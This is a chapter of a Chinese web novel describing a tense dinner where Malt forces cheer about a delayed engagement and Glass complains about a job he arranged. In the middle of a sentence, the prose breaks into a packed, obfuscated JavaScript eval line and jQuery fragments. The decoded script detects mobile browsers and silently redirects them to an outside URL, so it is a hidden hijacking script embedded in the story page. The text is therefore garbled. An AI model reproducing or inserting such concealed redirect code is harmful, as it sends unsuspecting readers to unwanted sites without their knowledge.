啤酒好像没感觉到,把手一抽,衣服就收了回去,非常丝滑,一点阻碍也没有,玻璃闭了闭眼睛,十分无可奈何,不再看他。
他又喝了一口酒,笑眯眯的,脸上越来越红,像是已经开始神志不清,又像是热了,接着说了下去:“我只在一个公司工作,也只在这个公司有点分量,勉强把他招了进来,又能有什么用呢?不过是端茶倒水,说两句话,打几个电话,好像真有什么用似的,拿那么一点工资,每个月要死不活,他自己也不满意,老板也不满意,同事也不满意。”
他似乎说累了,低下头,再喝了一口酒,深深叹了一口气,脸上的笑容消失了,愁绪像漫天飞舞的棉花一样飞了出来,声音也有些哽咽,好像有人挖了个洞,把芦苇管插进去捅了捅:“老板说,这种人根本没必要收进来,同事说,没有走后门的道理,他凭什么进来,他自己说,每天就干这么点事,一点意义也没有,谁来都能干,真是浪费生命。”
他深吸了一口气,好像准备吹一个巨大的气球,脸上露出一种乞丐向别人要钱时请求可怜的表情:“怎么好像是我的错呢?如果没有,我就不会有这些事,如果不是我,大家都不会这样,可是怎么能怪我呢?又不是我希望做的!凭什么怪我?”
玻璃的脸完全红透了,看起来像是刚刚被火烧过,把头低了下去,垂着眼睛,眼睫毛颤了又颤,一副完全不能接受现实的样子,也不知道是脸皮薄还是装出来的,总之,他大概很不希望别人再问他关于这些事情的问题。
众人面面相觑,沉默了一阵,随后,是小花开了口,打破了那种沉闷的古怪而有些微妙的氛围:“不是说吃饭吗?我们还是先随便吃点再谈话吧!”
小花一开口,众人都对那种糟糕的氛围,忍无可忍似的,迅速附和起来:“是啊,是啊。”
食物摆在了桌上,大家开始吃东西,起初还有些拘谨,因为没有完全摆脱刚才那种氛围的影响,但是过了一会儿,或许是酒足饭饱,大家都开心了,也都放松了,没那么讲究了,边界也不清晰了,又开始谈话。
“吃饭这种事情不能不开心不然影响消化!”明胶举着杯子对众人说。
“是啊,”玻璃在旁边点头,他也喝了一些酒,看起来有些晕,但眼神还算清明,口齿也清晰说,“活着最重要的就是开心,什么不开心的事情都不要管,不要记!”
他说话的时候看了一眼就坐在旁边的啤酒,啤酒低着头垂着眼睛,看着面前的酒杯,杯子里还有一些酒没有喝完。
啤酒的眼神呆呆的,好像完全醉了,一个字也没说,也不知道听懂没有,只是若有所思,点了点头,像是在做梦。
玻璃收回了目光,笑眯眯向坐在自己另外一边的麦芽问:“姐姐你说是吗?”
“对,大家都说的对,”麦芽没怎么喝酒,正在喝核桃牛奶,猝不及防被问到,像一只突然被击中的小鹿一样愣了一下,随后缓缓点了点头,回过神来笑道,“这顿饭是为了感谢大家的,可不能不高兴啊。”
看麦芽给了回答,玻璃又顺势问:“之前我听家里的长辈说,姐姐你已经和我啤酒哥到了谈婚论嫁的地步,你们的婚事商量得怎么样了?准备什么时候结婚呢?还是先订婚?”
麦芽没想到他问结婚的事情,又愣了一下,有点不想说,但大家都看着,犹豫了一下,还是低着头,神色有些忧愁回答:“说是要先订婚,但还没商量好时间,应该是有什么事情要急着办了,再考虑订婚吧。”
其实麦芽心里很悲观,觉得既然不能直接结婚,多半是结不了婚,所谓的订婚也不过是一个拖延时间的借口,好让人知难而退,看着时间越拉越长,就不由自主想要放弃再主动退缩。
这样,主动提不结婚的那个人,就会在别人眼里背上道德的枷锁,被认为是背叛或者始乱终弃的一方,而另外一边则有好名声。
麦芽不是考虑不出来这种事,只是抱着侥幸希望自己选中的人不是那样的人,也希望自己不要落到那种悲惨的地步。
虽然现在的情况已经很明显了,事情多半不会往好的方向去,麦芽应该提前为自己做打算了,不能再拖了。
麦芽想着想着叹了一口气,喝了一大杯核桃奶,却还是觉得心里苦闷难消,像是生吞了一颗酸杏子,几乎要呕出水来。
但越是这样,麦芽越是不想让周围的人知道自己的窘迫,好像让别人知道自己困难,是一件比遭受窘迫更加窘迫的事,麦芽无法忍受这种事。
因此,麦芽立刻笑了起来,脸上洋溢着幸福的神情,想让周围的人都觉得自己过得很好,对左边的玻璃和右边的小花说:“没关系的,其实先订婚比较好,有时间准备,心理上比较能接受,大家也可以热闹几回,小孩子也可以有机会好好玩,这说明受到重视,他重视我就是爱我,我知道他是不善于说这些,但我能感受得到,我很高兴,也很感激。”
再说下去,麦芽几乎要把自己的眼泪都说出来,立刻抹了一把脸,假装自己是要喜极而泣,而不是悲从中来,强装着笑容对众人举起了杯子说:“为我即将到来的订婚宴敬一杯吧!到时候我一定邀请你们!大家也算认识一场,不白来!都不白来!”
小花虽然觉得麦芽的情绪有些异常,但毕竟不了解麦芽和啤酒这对情侣之间的事情,不好妄自揣测,再加上当事人说自己十分幸福快乐,那还是不要逼问比较合适。
小花第一个举起酒杯,微笑着附和道:“那太好了!让我们为即将到来的快乐热闹的订婚宴敬一杯吧!”
说完,小花喝了一口酒,对众人笑道:“虽然不知道具体日期,但我已经开始期待订婚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768643|185484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的日子了!”
麦芽看着小花愣了一下,眼睛里泛起泪光,瞳孔颤了颤,目光温和而悲伤,又有微妙的怜悯,像是一个已经受过苦的人,看着一个即将受苦的人,为这个人对苦难的不了解和期待而感到悲哀,随后低了一下头,掩盖自己的表情,笑着说:“谢谢了。”
“不客气。”小花放下杯子拉着麦芽的手十分温和,目光平静而包容,注视着麦芽,不疾不徐如同宽容的女神,缓缓道:“有什么事可以随时找我,我很愿意帮忙。”
麦芽握着小花的手,点了点头,已经收拾好了情绪,抬起头来的时候,又是毫不露破绽的一张微笑,浓烈得似真似假的幸福,平静的疏离,温和的友好:“好,那我有事一定去找你,你可不能把我关在门外面。”
“只要我在,你随时都可以找我,”小花微笑着,十分真心说,“我不会把你关在外面的。”
“那就好。”麦芽并没相信这话,只是随便笑了笑,松开手拿起杯子,给自己倒了一杯酒喝了下去,一滴也没剩,脸上泛起红晕,不知是幸福还是悔恨,倒像是逐渐从裹紧了的皮囊下溢出的粉红色的迷茫。
阿正若有所思,推了推眼镜,举起自己的牛奶杯,跟着喝了一口,用甜甜的声音,仿佛什么也没发现,微笑着祝福道:“我祝姐姐订婚快乐!”
小花的朋友小木大大咧咧的,根本没发现这些暗流涌动,一心以为麦芽真的为订婚感到高兴,也真的觉得麦芽和啤酒是一对两情相悦的好情侣,笑眯眯说:“我也祝你们结婚愉快!”
小鱼看向阿正,阿正无可奈何耸了耸肩,小鱼对麦芽微笑:“祝你订婚快乐。”
明明和曼陀罗对视一眼,一起举杯恭喜:“订婚快乐。”
边上的明胶神色有些晦暗不明,还皱了皱眉,好像很不满意的样子,但被众人看了,不愿意表露心声,立刻笑道:“我也祝订婚快乐!”
麦芽点了点头,微笑着一一举杯感谢了他们。
一顿饭最终还是在其乐融融的氛围里结束了。
曼陀罗闻着不知什么时候浓郁起来的酒味,虽然一滴酒没沾却莫名开始觉得渐渐有些头晕目眩,下意识往明明身边靠了靠。
明明伸手揽住他,看他的样子,皱了皱眉,顺手摸了摸他的额头,感到有些低烧,呼吸一滞,脸色跟着变得不太好看。
知道这具身体挺烂的,没想到,还没干什么,就烂成这样。
众人已经在不远处的走廊入口分开了,明明想了想,打算把曼陀罗送回房间去,他知道曼陀罗的房间号,转身就要把人抱起来。
反正他有力气。
没走多远的阿正觉得他们奇奇怪怪,回头过来偷看,看见曼陀罗晕倒了,很大声对小花喊道:“小花姐姐!那个灰眼睛的哥哥好像需要帮忙哎!”